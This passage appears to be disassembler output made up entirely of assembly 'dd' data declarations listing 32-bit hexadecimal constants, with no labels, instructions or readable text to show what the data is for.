718F8AA4h, 786EA259h, 0B2886547h, 37E82CADh, 0DEDA59CAh dd 0A929B8h, 0F296AD8h, 71EF527Ch, 1474B8DDh, 7050242Fh dd 0F9DA48C9h, 33BC293Ch, 9E18D1F8h, 0ECEA7499h, 8F6BD7Ah dd 8DBF7ED0h, 40EEE0D5h, 0E76BAD45h, 0D973F8E2h, 6946FA97h dd 0E1D3E27Ah, 40B7C69h, 0B466CD3Ch, 66D8A754h, 34974D13h dd 0F23D1D86h, 8E0C189Dh, 3939A5BEh, 0FBAD7009h, 2E02639Bh dd 3BD93B13h, 0C59CB45Bh, 97CC10C4h, 12FD6362h, 93D0FD7Fh dd 35E466F2h, 65226889h, 0F837A690h, 0D4007A90h, 0D152D030h dd 20F6EFE1h, 0C8C3A695h, 0A2197D14h, 612B99ACh, 0C3085F1Bh dd 332322F3h, 8F0EA239h, 0B8D89B05h, 5505F380h, 5FF75514h dd 345B7793h, 0A15BC485h, 73D14083h, 0E2EBFBE3h, 9975AD21h dd 0C0A55912h, 2B0074ECh, 0AA40D66Ch, 94A74710h, 8BD940h dd 86DB55Bh, 760DABCDh, 0E6E5F46Dh, 7EA64769h, 6F9416CDh dd 0A4BFFD9Dh, 80E23BFFh, 0BA3301F9h, 9F1939Fh, 1278DE1Ah dd 5C98DC85h, 7103A48Dh, 869C4E3Bh, 0ADEBBFDDh, 9A381183h dd 0A7A578E4h, 0A94A5725h, 275CDFC4h, 1C1BB41Eh, 2F70A4B7h dd 404F7480h, 612BE851h, 9DE6A014h, 8D215C9Bh, 696CB7D6h dd 0B51A9CA4h, 0FA7C66B3h, 578955CDh, 93D1F110h, 6C55C786h dd 0FDD137F3h, 0E6480D7Fh, 68A7C41Bh, 11FBA402h, 0F690096Fh dd 519F661Ch, 435D933h, 7B83C837h, 0D4C84C0Ch, 0BCE97B26h dd 91169BCDh, 48AB9FEDh, 0D7F67AFBh, 9E237541h, 48EAD9EAh dd 996BAB38h, 529421FEh, 0E4243448h, 7E3FD6Dh, 35F6B925h dd 803A850Dh, 88B27C85h, 90170220h, 824998EBh, 0DB9AF9BDh dd 0A90963F2h, 0BD5CB9F2h, 9F00A15h, 0BB487B92h, 5C9E377h dd 0A2B397BDh, 9383772Ah, 0A59403CBh, 9355CBBh, 0CE4BCBC9h dd 0F5CC3C42h, 8A863E45h, 9AB6F5EDh, 0A76746E7h, 847DBE58h dd 0DB3C0E87h, 0C9C4E03Fh, 0ED0754CDh, 9906E7E7h, 5D114A63h dd 9D83EE8Ch, 12B9DF96h, 0A12C30DFh, 0B72C8BE6h, 0A96CBB6Dh dd 812E7F2Bh, 93139D4Ch, 9DAFD5Ch, 7D3B7C7Eh, 0F0379588h dd 2D2583E0h, 4D8781C2h, 0B42BFF7h, 2C5A6AAh, 0E4FEC481h dd 0A2087CD6h, 0AA777C7Eh, 0F14A40F8h, 0A6255FD6h, 2A1720E4h dd 0AD28EEEh, 99F084B5h, 909ADFF5h, 17870A6Eh, 14E9CA1Ch dd 3E5C1AE2h, 0D0A7AFB0h, 59EFE6A1h, 296E80EDh, 5DEF9E66h dd 5FF24B1h, 781A5D4Fh, 0E5CF5B5Eh, 9D2371C6h, 0AA7608CEh dd 94AFD450h, 0BE23F376h, 0A8E59187h, 4BDEEECEh, 7A44DF0Eh dd 0DAB1D6A3h, 8FA96CE3h, 7F78F0A6h, 45118C4Eh, 0CBB88734h dd 832204AAh, 3C258271h, 0BACF610h, 2BAE9857h, 5BD0266Bh dd 0D2C8B2A5h, 6C82639Ah, 0A6F66304h, 25017AF8h, 24CE4E73h dd 0CE70FC0h, 0D01A4B51h dd 8FC95EDDh, 85AF4B51h, 9B1DBD47h, 4747AADDh, 5F9F6C70h dd 0CBD6D4A1h, 0DA10BBFCh, 0B7CE642Ch, 4AB06C51h, 78D4FB9Ah dd 61F8E11Ch, 0F70C16C6h, 3EAA5325h, 8325FADAh, 4C3B9DEFh dd 0F4731385h, 0B4A444DAh, 59155DD4h, 581F2D5Ah, 435F0331h dd 0BFFEFF83h, 743AD3EBh, 782326D0h, 6D287555h, 9BB4F3D1h dd 0D5FC9124h, 0C083822Dh, 0FBA0322Eh, 420DD76h, 2700DB31h dd 0EC5E9209h, 0C097C1BAh, 23647404h, 0C7DAF260h, 9ED78232h dd 4A1DF92Ch, 0DB4AE6ACh, 78742F32h, 55188A4Fh, 0DDA69F1Fh dd 625436DFh, 69798599h, 38CB341Eh, 0F9C56A72h, 0ADFE4E3Dh dd 0BAFE04A0h, 72F824E2h, 0BB94EB68h, 0E4DA5430h, 408F029Fh dd 0BA59577Fh, 7791B09Ah, 9CB1C3F4h, 824968Ah, 0E27BBEE3h dd 509BB0F9h, 47CC339h, 0DEE6D753h, 0D761CA24h, 0DCE47B88h dd 6EF89D0Bh, 3A462112h, 0F35BBC2h, 736A4250h, 4ED4D20Ch dd 0B5DFA060h, 0AD616402h, 979D44EFh, 1C296495h, 3CBDEA2h dd 0B45716CEh, 18D6E4F5h, 33E75785h, 0C4F0674h, 0CCDEA5C0h dd 8910B40Ch, 0E9772005h, 749625F5h, 61565626h, 93B2062Ah dd 0E68EDFBh, 9061604Ah, 0C956C5D6h, 23BBFAD7h, 49064BCAh dd 251362DBh, 0F61AB87Ch, 154BCDFCh, 0ABE98B56h, 1A63E778h dd 0E1C479DAh, 76848B1Ch, 0F9664F09h, 0C828F5C4h, 0AF12C064h dd 8051958Fh, 4C0309CFh, 0D967E4A6h, 0A144239Ch, 0A0E7D5BDh dd 22C896E3h, 0FE2D485Ah, 547ACE68h, 43AAE1AFh, 0CE771D82h dd 75F3B3CCh, 0C03BB30Eh, 65560502h, 2AA9F6h, 0A9501D64h dd 30AF1458h, 0BCFFA1Ah, 442B212Ah, 0CCBF29Ah, 83E72E0Bh dd 2725E5FAh, 76BA5C1Fh, 85BB7B2h, 0A90AE26Bh, 0D582D71Dh dd 84514574h, 0FB7F1CE6h, 7372A18Fh, 12B11B83h, 25C211F0h dd 0D4C03FB4h, 0A9EE8F83h, 2F320F3Dh, 56468ECh, 9B22E9D5h dd 689DF3F2h, 4634D45Dh, 0DAEAE9BCh, 187C218h, 1981AA0Dh dd 0C3FE6C5Ah, 7C3F6942h, 4E8CEBE3h, 313C19C9h, 0F9BE0C2Ch dd 95592007h, 1D0F536Eh, 407666DEh, 2A8EDE4Eh, 31837356h dd 0CD36AE6Ah, 0FEE188DEh, 556E4748h, 0EC0FA43Ah, 4DC236CEh dd 0DC84EED5h, 31CE8314h, 0ABD044CBh, 1D8D7E1Bh, 7A3D6A6h dd 364977DFh, 40B69C0Bh, 835513Ah, 0CF139914h, 5F5C7F3Fh dd 4D3B3186h, 0DD5ABDB2h, 16061B21h, 7955207Fh, 984C449Bh dd 9A02E9ABh, 0DFEC0E1Eh, 898EC4A0h, 459ED708h, 6C83BDA8h dd 7B45694Dh, 1BC915Bh, 0DB2D098Ah, 254B9735h, 1E1396BEh dd 61651043h, 43716FF9h, 49E5A9A8h, 0DFDED3ABh, 0F0DBE7AEh dd 0B1DB64B1h, 58B25973h, 5F0836C8h, 0D6F470E2h, 0F96A40E2h dd 15575E95h, 9EF2E7F4h, 965A5746h, 0AC0B9A26h, 2375647Eh dd 26AC1C96h, 8963AE0Eh, 113D3A11h, 0ED6C431Fh, 0B2F36C46h dd 84B14472h, 0D17AB62Fh, 47E4B138h, 27E80BEEh, 0D19774C5h dd 0D137BF18h, 63F96AC6h, 4516619Dh, 57266D2Bh, 0ABD81DF5h dd 0FEE7E9CFh, 5CBDD11Ah, 0DB8CC5D9h, 572E2253h, 0B9E5B0A0h dd 9FC93A7h, 4089C888h, 8187BD94h, 0FF639DCEh, 5625785Fh dd 0BD740265h, 0B980BAE9h, 0B4C18081h, 0EC204B9Fh, 0DAD30F2Bh dd 40DBBCE1h, 0AD1E53DFh, 0FBA08049h, 0CA41521Bh, 0D6A36BC5h dd 0F7B4DC43h, 0CD84E44Ah, 743399Eh, 0F5632920h, 1625AA91h dd 0A482B729h, 7B35878Eh, 0FF7B7300h, 3C2DE4B9h, 5E80CF7Dh dd 37AB404Bh, 0B2A222EAh, 645C2AB9h, 0F185D828h, 5734C4EAh dd 27519EB3h, 1CFB39Ah, 0E8BC332Dh, 16A25567h, 0B7A7CBF2h dd 0AAAC1CEFh, 6E8FF59Dh, 50AAD025h, 0FB70F1CBh, 0BCAEA34Ah dd 998D33B4h, 0A7778AB8h, 0D47C0E16h, 9DE34832h, 39B90DC2h dd 0C036B9ECh, 80105A37h, 44F69A85h, 30C35D26h, 0F6EE8F10h dd 51C05470h, 734B057Dh, 8B5F06F7h, 3F2D6C1Fh, 0A45E73FFh dd 82ADB322h, 6DCBE0D4h, 0DEBF09C2h, 0F54BA6B7h, 6BE5917Eh dd 0AAD378DEh, 2F2A70AAh, 0DC9AE04Eh, 9C83135Fh, 20F17278h dd 28B5BA82h, 0F6F7F232h, 0F8E4661Ah, 459931FBh, 0FD8D766Ah dd 5F930295h, 97FF0767h, 84BB833Bh, 539C00h, 0C70C0DC4h dd 8B7F5C52h, 8C11780Dh, 0FB572B1Fh, 96E72D42h, 0F4ED9778h dd 0ABC055E8h, 57888953h, 0B50C62E6h, 0F594FEDDh, 0D36E54Eh dd 71A2F992h, 5216735Eh, 699CFDDAh, 1A525A49h, 4AB54F85h dd 0F6D9D1EEh, 4F06AFDBh, 6941C750h, 0EB91E95Ch, 62AADA89h dd 0D142E558h, 5FDED386h, 812A2C04h, 0B7296CDFh, 4A198C45h dd 0A281AA5h, 2600B9C1h, 0F09CC580h, 37A67DEDh, 0CE4B75ECh dd 0FF3FC8BAh, 74157863h, 464721FBh, 173C047Ah, 60270DBBh dd 0B80B7F9h, 0E85472EFh, 0A7B710D7h, 8C9E4C43h, 3251E8E1h dd 6B03CB5Fh, 0E9EF9FFBh, 0D180D57h, 0DE81F6EEh, 985738B8h dd 0EECF75E3h, 0B470BE1Ch, 0C7F17576h, 277DD18Ch, 0CB3508F4h dd 0B316A571h, 6FF48472h, 0C3AFF9FCh, 0A38A2F88h, 65B20A98h dd 9020948h, 596CD753h, 2C23675h, 3E767998h, 5BA85BFFh dd 0E67CAC1Eh, 0B19663A1h, 0B36F781h, 0B38FD4EEh, 5A642ED1h dd 0F2784DB0h, 93C00145h, 88A86073h, 0B8DC02A3h, 8048D9CAh dd 0B2DBDB40h, 0ED8E2FFh, 0D5EE0503h, 0E530F78Ch, 0B19006B2h dd 2146327Ch, 0FBF0964Ch, 5E9D7AB4h, 16BDC963h, 3D2384Fh dd 420BB512h, 0E9658899h, 9B3C70DBh, 715C0DA8h, 0EBA8BACCh dd 0A060DF8Ah, 0C148CFD2h, 20D86AF0h, 0B762E66h, 78086E5Fh dd 0BAB030h, 3C630624h, 2299ABDEh, 8C9915EDh, 8E4477C2h dd 0A39004DAh, 2EDCC695h, 966F3715h, 9C9B19A7h, 0BA4C94ACh dd 0C764CD7Dh, 0B58C3A74h, 0C0A83CFFh, 1ABDB30Ah, 5BAEDD20h dd 3B7911Fh, 88D2B3E1h, 5B2FB9CBh, 9FE42112h, 0DBB96C74h dd 26CD7413h, 0D85BCE78h, 5E50980Ch, 0DB66B24Ch, 8848789Ch dd 2F4377C9h, 0E3A8CC72h, 58EEE7ABh, 5097BB79h, 8648BD88h dd 0F1C4EB6Fh, 6922CC7Dh, 329E0B3Bh, 0B15F8BFBh, 32E1C670h dd 4397966Bh, 47D052D2h, 130E1CC9h, 0F0059F10h, 0CD105A49h dd 0C50499FDh, 0B131E605h, 3FF3EC57h, 0DB066402h, 6827461Ch dd 9B2D4068h, 0F01FAFEFh, 0DC47D8F1h, 6D6CD50Dh, 9CF4FD9Fh dd 74BD7A0Dh, 0A5507022h, 49F4B9F5h, 671855h, 0EF22AF32h dd 0DCF1AE61h, 8AC0DB70h, 0CACC4129h, 0DC20765Dh, 8874CA77h dd 0A684C2Bh, 48B4CCE4h, 46424894h, 28C18FE7h, 12A437E6h dd 0B57C300Ah, 0A0E7D0C6h, 0ED6CF67Ah, 0B777FC94h, 0F07F6763h dd 0CE902C2Dh, 6E83905Dh, 99F00AD2h, 7F64E5F4h, 611EA73Bh dd 9A23F72Bh, 0E4DC0843h, 4FAE7F7Ch, 61A9B34Bh, 7B4DE209h dd 3E41C26Fh, 936D4EE0h, 0ED36BAC7h, 0F9400416h, 0B0FD31B4h dd 40195524h, 0A9A09910h, 0A5D46AE4h, 80F4D6C7h, 2BE9809Ch dd 7AD37477h, 5FDCE54Bh, 0F6A82735h, 70608962h, 0B8EF78D4h dd 69F9CE43h, 0A56672C9h, 1E6A07B0h, 0B26102Ah, 2993EEC4h dd 0A77A8B6Fh, 1B66D51Bh, 51AFD1AFh, 0D64AA23Ch, 8261B293h dd 534C7DB0h, 27756379h, 0AB280798h, 310763B7h, 4F86C9F3h dd 5816AB04h, 6DDEF938h, 0BA4F50A9h, 9862E341h, 2A706E4Ah dd 3B81BBE0h, 599D124Ah, 2AE48755h, 4F11F399h, 26795532h dd 0B4C1C665h, 0CF4D8C4Fh, 0FBE4F0D9h, 17AF8C0Ch, 0DEFCFC86h dd 659BA970h, 45376D5Eh, 0F95515B5h, 0D156ED73h, 43C35D52h dd 3B930D8Ch, 0A4D31424h, 0D8872127h, 0B78E2A60h, 59226D0h dd 2C9094CDh, 9D08FCFEh dd 92AD6DC0h, 6592F0FEh, 4662BDEh, 8D9EC973h, 9C8C1EC2h dd 8033DE51h, 2F11604Ch, 89041658h, 1B6B9FD6h, 8860848h dd 0D89206E0h, 1481111Dh, 0F71D99D9h, 34050C88h, 0BF3688CCh dd 0F8BB81E5h, 0B63FFEA7h, 6186A6D9h, 3D17668Fh, 4E6F850Ch dd 0B86693C9h, 0A16B2242h, 0BD5C0762h, 8D8CE091h, 0F9CE6C36h dd 0BBD7F570h, 2E62605Bh, 0DEABE5F7h, 0A8B8C555h, 25DBA0C1h dd 97380A05h, 114563F6h, 777A545Fh, 297C3FDh, 26213BADh dd 0E8F5D32Ah, 16F39772h, 653CD97Fh, 317BFC67h, 0EF304A2Ah dd 1D7050D4h, 6C8591EAh, 549B43C1h, 6465690Ch, 1E0CC4h dd 0C7365E3Fh, 49B2A4B0h, 6EBA4F76h, 0FD8C7428h, 0BAA9736Eh dd 5AB8BCEBh, 0EE0864D1h, 45FF808Dh, 0C8CAFFE5h, 4F3D1820h dd 8A57A88Ch, 0E5F258ACh, 6D30E88Bh, 0A92C671h, 0ACD3C00Fh dd 0C3AD5872h, 1D414ECDh, 0D420441Ah, 3E1A3D77h, 6F5E589Bh dd 0E0F3F5A7h, 8BE1920Fh, 92E9244Eh, 46FD87BCh, 50829B1Dh dd 5B98EA90h, 715559B9h, 20E4BE26h, 535D0397h, 5A558AEh dd 0BFEB2730h, 0E5CA328Bh, 0C84506F2h, 0A22B6F3Ah, 4C1AB8C4h dd 64233564h, 0C223DA11h, 2784FA93h, 53CDED67h, 29393861h dd 52F73177h, 5BC617B6h, 0F278B453h, 81855FF9h, 81AF9622h dd 1107488Ah, 0CD872A26h, 0D9798DDh, 0DEBA8797h, 0AFE35B44h dd 0E52811A4h, 1F032941h, 0E49E941h, 6ADB9C4Ch, 624F0603h dd 1BC96A45h, 0BE6C856Dh, 0EDF3A1ACh, 5D899F20h, 0B583F4F4h dd 64160008h, 8E03E88Ah, 7CF874F1h, 0A85FA2DDh, 0A1F4CC90h dd 9F6ED42Fh, 1A871D39h, 0B830EB5h, 3B7AF012h, 0E8258ADCh dd 349339B2h, 3ACFEABBh, 74B48748h, 0D5190838h, 667EA6F2h dd 1F6F5475h, 3FB3D4A0h, 0E039C10h, 915C7599h, 3345F98h dd 49B6EAE8h, 446E0428h, 0FE1C1704h, 25E9BA34h, 774C69EEh dd 0B6C21DC9h, 16CD1874h, 91DD5C73h, 0B5593204h, 24BEA282h dd 0F6556B77h, 774C3543h, 480C0CB9h, 0CF3C4C84h, 85244D8h dd 0F8447613h, 3A765C85h, 0FFADDD25h, 179532F9h, 9D5BD70Bh dd 7A1E0AC1h, 42C76AC4h, 6D7C0A00h, 858C7208h, 967B6EFEh dd 83BF3A46h, 435363C1h, 40615469h, 3B235027h, 30941B7Bh dd 0DE94200Ch, 938AC362h, 5E1FD803h, 59E56C29h, 96626BD1h dd 305521E7h, 27675735h, 0A1DCD413h, 367650EDh, 974F2CAFh dd 5ED0F3BCh, 3D24B7A5h, 0C375B6CEh, 9E8411FDh, 78B8538Fh dd 42345884h, 3548B03Eh, 0FE07CFDAh, 93010E18h, 0CF561C0Eh dd 98C10B9Dh, 1B766BD4h, 44FBE0E9h, 9B69576Eh, 1BC0A1C3h dd 413F98E0h, 155C887Ah, 0C1159768h, 0B4A34AFBh, 2990308h dd 0A7D7EE8h, 0BC46C0AEh, 336E3129h, 70D90136h, 7B1A207Eh dd 7F30F1EAh, 0CEB8712Bh, 5B60C27Dh, 0F89446E1h, 6301349Eh dd 7809BDFAh, 0ED50EDEBh, 9EF0DED4h, 0C75AB620h, 0B7F7683Ah dd 0A2E96FB9h, 3D5F0765h, 12F852DBh, 0D0208EF6h, 0E5529E30h dd 0DB23E71Bh, 0C78C1B8Ah, 0AC452C5Ah, 0FDF50D1Fh, 4638F4E3h dd 0B95B13CBh, 0DA67C7F0h, 0E8CEE24Dh, 54BD71EAh, 679BFA23h dd 1F4F721Ch, 1A0DA52Dh, 473FCBF7h, 90898EB5h, 43F16AF6h dd 38A91974h, 501C845Bh, 6FCCABAAh, 0E9F764D5h, 77E2BF89h dd 8D60FE5Fh, 58BACD73h, 733D7FDBh, 8087AA47h, 84D89Eh dd 7BF1FB30h, 5BA10D3Bh, 6D963713h, 39DD1404h, 616A212h dd 91B8D793h, 44D31A01h, 57D93A50h, 0AF56F3C0h, 22A7D8BFh dd 709864Dh, 46E52775h, 0CFDBDE8Dh, 9F2FD58Dh, 0F98A688Eh dd 3E4EF19Fh, 0C6ED607Dh, 3802AA3Fh, 57D3B1CCh, 8887E31Fh dd 415EF706h, 3D8B9175h, 20783DCEh, 0FB5AE52h, 86B2459Bh dd 9EFC4E3Dh, 0B5D0F97Ch, 0AE93CC09h, 0EA3CF7BDh, 952C63B8h dd 654E7B20h, 2E93530Eh, 3DA8EE58h, 0FEF1AF44h, 51E1D0C5h dd 67BA5450h, 0F09FC568h, 0F4902F0Bh, 0AED0E38Ah, 2D80BE19h dd 176983ACh, 52E637F0h, 952D36Bh, 2D2064FDh, 5C0A4E7h dd 0B8E521BAh, 472BAC74h, 843F402Dh, 263D4C1Fh, 22D33341h dd 73222812h, 0FD26361Fh, 4E043258h, 0DCDA4956h, 7DE1C1FAh dd 1C457A8Eh, 41BEBD47h, 92E57F8Bh, 84EDC15h, 1833E5EBh dd 901994EDh, 0C8E8B08Bh, 0C91DAB83h, 0E6D2C34Fh, 49ACA3Ah dd 0D8C0F83Fh, 0C62A2E96h, 9697005Bh, 98D389E9h, 955B1D12h dd 7FB4913Dh, 3F12B50h, 4784EFDEh, 0BEFDADE5h, 3C6D7C1h dd 9833E2DBh, 0D11775B1h, 6F45FC3Dh, 3E6BA66Fh, 2D38A294h dd 0B6DF16D2h, 0DD09FB2Ch, 7A7574C6h, 0CAD5907Eh, 4C6C05E8h dd 72413C56h, 6AB1C166h, 0BD3D7CE0h, 0CB08AC92h, 50702E2Bh dd 6B03B4FAh, 54FDDC6Eh, 893A7550h, 4A76DBF6h, 44FAA166h dd 0F30F055Ch, 7AAD168Dh, 0C84AFAD3h, 13B05E18h, 0CFF7627h dd 3656B6D3h, 65D72351h, 0A2F3938Ah, 132B23FFh, 9F44659Ch dd 2641ACA6h, 0E4EA3EA7h, 0A62ABCE5h, 8EB58524h, 0A7947283h dd 4C0BDD61h, 7F80970Ah, 8EC4129Ch, 0BB6EDD8Ah, 3C786ABBh dd 8E856A1Eh, 95AE55F3h, 91D488FCh, 76177FC5h, 0B73971CFh dd 7655E2F5h, 0A0133677h, 9F9CABD9h, 9571EF8Dh, 0B9A46A6Ch dd 94994257h, 7B7A443Dh, 0F645EFh, 0F08C4CC6h, 6BADAC9Eh dd 0E48528BDh, 33BABEC0h, 2DA14757h, 14F1FD15h, 84465B7Eh dd 9F14EBAEh, 9C4B5025h, 3DAA5147h, 2E1F70F1h, 0D8ED458Bh dd 0AADDC5EDh, 0A47FFC1Ah, 89DB5244h, 75C7BB77h, 41F1C48Fh dd 83B02D8Fh, 1044045Ch, 0C260FF7Ch, 530B639Ah, 3F0FC174h dd 76D33CD8h, 21572828h, 462E331Dh, 76844348h, 1857FE64h dd 0E1153CD4h, 0AB82FA65h, 0F531D10Dh, 94FD3A95h, 0E66FEDDh dd 0CD30FAD3h, 3BCFAD31h, 78E2A0DAh, 88E1235Dh, 8EE0B8B3h dd 0BB5080E2h, 0EF57FFA3h, 0B2BE687Fh, 599F2D38h, 0FC32FDF5h dd 9BCE8179h, 53FFBA4Ah, 951B5638h, 56C5F1ECh, 0F5844E0h dd 97A6F112h, 54FC62D6h, 0A11DBCDDh, 9BCD644h, 42A57E47h dd 0AF5D2C62h, 8E1E598Ah, 6F108B25h, 14481A2Eh, 84E609CEh dd 0EEDA4629h, 0FEFC194Ch, 0D84634C5h, 0EAA30309h, 9D82EF4Ch dd 8364C3BFh, 1E845C03h, 0F9D2226Ch, 0DDC1A327h, 0BA95CB13h dd 0E254F163h, 5F295EB3h, 3B4AD490h, 5F58591Bh, 32BA051Ah dd 0B8CA2892h, 87CCB658h, 0C68C7A78h, 0F29C891Dh, 0E41460FAh dd 83F11914h, 54AE0E61h, 94AEA1BDh, 72D3F66Dh, 6C6D1120h dd 34F68B48h, 0DF6DC843h, 0E866FC6Dh, 78DCED7Ah, 0E79A1CE6h dd 0E1EF6A26h, 809760F6h, 2A16156Ah, 63AD4CB8h, 45632AEEh dd 5F787FE0h, 0D6492294h, 567AD581h, 78597FE4h, 6E5EB51Bh dd 0DA3F18E2h, 192565Ch, 0EE18A4BCh, 0BEF233F4h, 1FAF536Bh dd 6919F1E6h, 1B5D585Dh, 0C1F16F6h, 0E526CCC0h, 0D5C45107h dd 0E6DDA26Ch, 97DD454h, 0F75D7CEBh, 812A8ABDh, 6754CEF8h dd 0E7904EB6h, 3DF4B5BBh, 4CFBAAA4h, 0FBD7769Fh, 96E743F3h dd 0C76DA27Ch, 0C7A08F0Ch, 260523DEh, 0B5DDD3AAh, 1AC65268h dd 0BB285C4Bh, 0DAF3227Ah, 0A5466AEBh, 0DB2812D4h, 0B236FAA3h dd 56B98EDh, 88C748B7h, 0B25868Bh, 5A61A925h, 423405B6h dd 805780E1h, 0F21A6CCh, 35A066F7h, 0BB6EAE7Eh, 714D4F68h dd 9F885305h, 4B399296h, 56E7C010h, 0B19B8247h, 3E712EB0h dd 3B1F9CE2h, 9950DF90h, 0CCFA2724h, 4FA1052h, 43205DC1h dd 72E283Ch, 8B2A407Fh, 18BBF5A8h, 6AC73C04h, 35F2397Eh dd 293EBC0Ch, 7FD6ABD8h dd 59B8762h, 0DECB799Bh, 8C6A51C5h, 6F6EFC1Eh, 16E3DDA5h dd 0B66C58FCh, 43986483h, 4295E4BFh, 78B2852Ah, 589BF33h dd 68AD1B57h, 53816046h, 100F0F94h, 0F4612D37h, 57409AA8h dd 0B35B5287h, 0B11FF9ACh, 0A7FA578Ah, 0BBE2F76Dh, 95936016h dd 0F9141729h, 1055476Bh, 3E63A226h, 7892C65Ah, 7608C148h dd 4F8A7476h, 254FA4E5h, 0A9B69453h, 3E9E718Bh, 0AFA3D177h dd 5139E15Dh, 572798CCh, 53218BF3h, 6BFD917Ah, 0B50D8647h dd 0A7CAB3BEh, 9B0819CAh, 2D3FDFE7h, 0B435BC3Fh, 5089FEBEh dd 7AA72CAh, 4474DCC8h, 0FFEEA77Ah, 0F2E3B12Eh, 5E3AF83Ch dd 0A966F75Fh, 0EE2DE3Ah, 0CAE02A37h, 9AB7BFDEh, 0FC659C2h dd 32523587h, 0B9592BE8h, 0C029996Fh, 0A01E6A26h, 0E6655F12h dd 8A3CFBA8h, 4BEE1164h, 0B0F61CFAh, 16604609h, 5400488Dh dd 0C92E1830h, 48F63AE5h, 1C29A159h, 0FF7A2CFEh, 3204DE00h dd 0E804618Ah, 0B4B93BCh, 0F36EE749h, 0D9EE433Ch, 560A9260h dd 79757060h, 6455C81h, 0DF0445A9h, 6E12EDCCh, 8227F2D6h dd 23D8CCAEh, 2D922BF5h, 3468F2FEh, 1BFBE32Fh, 0E9F17E3Ch dd 46A7CD89h, 28ED7907h, 4072D4F5h, 2DC9D128h, 0FFBBC0A0h dd 0D1E34C3Ch, 7947A8EAh, 0EB29EEE8h, 56F53612h, 35CC0298h dd 0D582CE88h, 0AF5C3E31h, 0C2049749h, 0F3DC8D3Dh, 4D79A082h dd 25F26F9h, 79AB8E3Bh, 0E1E5ED72h, 0F5D4F391h, 0FDA1C918h dd 0A50960D3h, 0CC3CE14h, 0CACC19D9h, 2CA0C911h, 333CBDF6h dd 8C3A4AB0h, 520020B4h, 0D2BE0F2Ah, 5E0B2945h, 0D6DE07E8h dd 0F5115B6Ah, 0F15DB920h, 0AD01324Ah, 0EAEC409Dh, 0C2DAA031h dd 77A29E45h, 0D450B4E4h, 0C206C99Bh, 7466575Eh, 37BC4E10h dd 2645B508h, 0EDCEB697h, 0C9AA6244h, 2900461Fh, 0AE5F207Fh dd 0ACA4DCA7h, 0C79FBD8Bh, 0A137D59Bh, 3B88A75Eh, 2452D47Dh dd 1EC6529Dh, 47B70AE4h, 2315643Bh, 0EFEE79B2h, 83E47DEEh dd 8932859Dh, 7DDEEC8Fh, 0A186AEEBh, 8BAED5D9h, 364BDED5h dd 0CE6E7B20h, 0E9D91B71h, 4FA463E8h, 8A03A052h, 64B49057h dd 0F5B8C653h, 0AABEFAF7h, 0A811BCAh, 7861B696h, 393DA3F2h dd 271F5269h, 0AA95D29Dh, 55495DA2h, 0E97B3AD8h, 111F562h dd 4C1895A7h, 0D0040D1Dh, 0EDA8CED6h, 5AC0903Eh, 6BE83B59h dd 5D5C61E4h, 64D44289h, 5CA6AA7Fh, 0C66FFDAFh, 1C2ABE6Dh dd 4D971D0Bh, 265F6504h, 9566A0B7h, 0F9E5180Ch, 0F5D155E0h dd 3EA402A2h, 57EFC982h, 0D108B3E3h, 0E0AB3396h, 0B78B3BCh dd 981155FDh, 64E97387h, 0E63D05E5h, 169151F5h, 0EA245229h dd 0E2D5772Fh, 0F61E589h, 4CAE5E98h, 0CF22993Ch, 0FFE74996h dd 2FE28E8Eh, 94F2AD01h, 0DF767D87h, 3C24C7E3h, 0E2E0F55Ah dd 2A24A519h, 41460CABh, 5EC78AC3h, 59B686D4h, 87BA723Dh dd 16CBB90Bh, 0D6B7F4BBh, 409F0175h, 6055E3Bh, 0C38AE475h dd 23F90DE1h, 0BC82F9A5h, 0F632A05Ah, 46F1A9EBh, 0F29CB60Dh dd 94B85C02h, 84CFCD1h, 0D2C4B436h, 34A458DDh, 5839ED69h dd 0ED516A05h, 9F957334h, 0FD17ED22h, 60E44379h, 5AE5CE33h dd 0EFB68DBBh, 6A5029B2h, 28BEB1CDh, 540583BBh, 0E8A23947h dd 0A1DBCDC2h, 7D18D220h, 7DDBF5AEh, 0BD2D6F94h, 4E674991h dd 625C2641h, 0DF1B9631h, 518DDAB7h, 64789B83h, 0F497ED8h dd 5FDEF828h, 3012569Ch, 0E28E38EDh, 1E9557FDh, 20E702CFh dd 5A7A421Fh, 0F607C85Ah, 7BDCA1F8h, 0A7BB64A9h, 0D65FF5C3h dd 29EDA4C7h, 0AEBE0537h, 105AB77Eh, 0A25FB692h, 7F4FEA87h dd 0C8359F5Bh, 9BA3CAA8h, 79CBA0D9h, 8AF3A261h, 6E3AC682h dd 0E275CBB0h, 0A666CCE8h, 2D80BB07h, 0F9910AC2h, 5A928312h dd 1294C503h, 703EAEC8h, 0E78DDD4Ah, 2BE2F1C1h, 63FA5C1Eh dd 67D4B1A1h, 243F12D1h, 0D1F79011h, 0F1965BC9h, 0DEDBA6C0h dd 0C3F85556h, 3A60C6CDh, 6933869Ah, 4B264AE9h, 20F07CF0h dd 0FFE31E0Dh, 41AB799Fh, 28B61B07h, 0BF261CB4h, 9E82482Fh dd 0FFB00FE4h, 220BC98Fh, 97FC786Eh, 0E86B971Ch, 2B74FE38h dd 63B370F9h, 3064D592h, 6EE56EB8h, 447565EAh, 8A5908A4h dd 0CCE6FBECh, 1E75D5D2h, 555EE872h, 85E20661h, 0C950440Dh dd 3E8DF84h, 0D202A757h, 0E2F61C88h, 0FC39834Ch, 0DA744540h dd 3F593946h, 80952866h, 5530CC73h, 0FCF7FFDFh, 0C182B091h dd 0A3C1E2B1h, 0D98A6005h, 0A7C324D2h, 55BA3DBDh, 0EE4DA4DCh dd 0E400AEB9h, 0AFC9F9FEh, 0DE205880h, 0CCDB0630h, 3204CE24h dd 367C6A5Eh, 12ECD61Dh, 5330088Eh, 0AB472F26h, 0BD449E90h dd 0EE7FC856h, 7503F514h, 42C2E33Fh, 23C1930Ch, 84F54A4h dd 0D9DDD51Eh, 2C1D5A4Dh, 0C41A73A2h, 60E7BA98h, 674CDD6Ch dd 236F6AF2h, 1513B1E6h, 0DD81080Ch, 98F18191h, 0D588FDC2h dd 2E96934Fh, 0D3E1DA90h, 0E75B9D32h, 0AB401CFFh, 64FB47F7h dd 2879202Ch, 52CBCECBh, 39A6BF25h, 53ACD59Bh, 3BD2CD47h dd 492EFAEh, 5B2045C9h, 7AEE1172h, 0AFEDD021h, 71048044h dd 0CFA64304h, 0EBA81CABh, 0C8EEA459h, 0AEA08BCEh, 0BEFE90FAh dd 0CC6BFEEAh, 467C0CAAh, 0F23B705Eh, 2663ED2Eh, 452A4BCAh dd 2DADE8Dh, 0C38DE2FFh, 0A06B64BDh, 9DA71DA2h, 0B9C356F3h 